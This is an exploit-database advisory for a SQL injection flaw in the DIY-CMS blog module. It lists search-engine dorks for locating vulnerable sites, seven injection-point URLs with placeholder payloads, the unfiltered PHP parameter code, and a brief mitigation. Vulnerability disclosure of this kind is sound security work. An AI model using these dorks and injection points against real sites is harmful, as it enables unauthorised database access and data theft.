DIY-CMS blog mod SQL Injection

vendor:

blog mod

by:

snup

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: blog mod

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DIY-CMS blog mod SQL Injection

The variables $start, $year, $month are not filtered in the files /modules/blog/tags.php, list.php, index.php, main_index.php, viewpost.php, /modules/blog/archive.php, /modules/blog/control/approve_comments.php, approve_posts.php, viewcat.php, which can be exploited to inject malicious SQL queries.

Mitigation:

Filter the variables $start, $year, $month to prevent SQL injection.

Source

Exploit-DB raw data:

# Exploit Title: DIY-CMS blog mod SQL Injection
# Author: snup
# Contact: snup.php@gmail.com
# Site: http://e-o-u.org

 SQL Injection:

 DORK:
  inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"
  inurl:"mod.php?mod=blog"

 BUG:
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=tags&tag=features&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=list&catid=4&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=2&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=viewpost&blogid=26&start=[sqli]

 Why?:

  The variables $start, $year, $month are not filtered

  In file: /modules/blog/tags.php , list.php , index.php ,
main_index.php , viewpost.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

  In file: /modules/blog/archive.php

	$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];
	$month =(!isset($_GET['month'])) ?
error_msg($lang['ARCHIVE_NO_MONTH_SPECIFIED']) : $_GET['month'];
	$year =(!isset($_GET['year'])) ?
error_msg($lang['ARCHIVE_NO_YEAR_SPECIFIED']) : $_GET['year'];

  In file: /modules/blog/control/approve_comments.php ,
approve_posts.php , viewcat.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

###########
# Gr33tz: #
#####################################################
# agilob, cOnd, czoik, drummachina, gocys, prick    #
# im2ee, MadCow, n1k0n3r, R3w, rtgn, SiD, vizzdoom  #
#  irc.freenode.net #pakamera  , http://e-o-u.org   #
#####################################################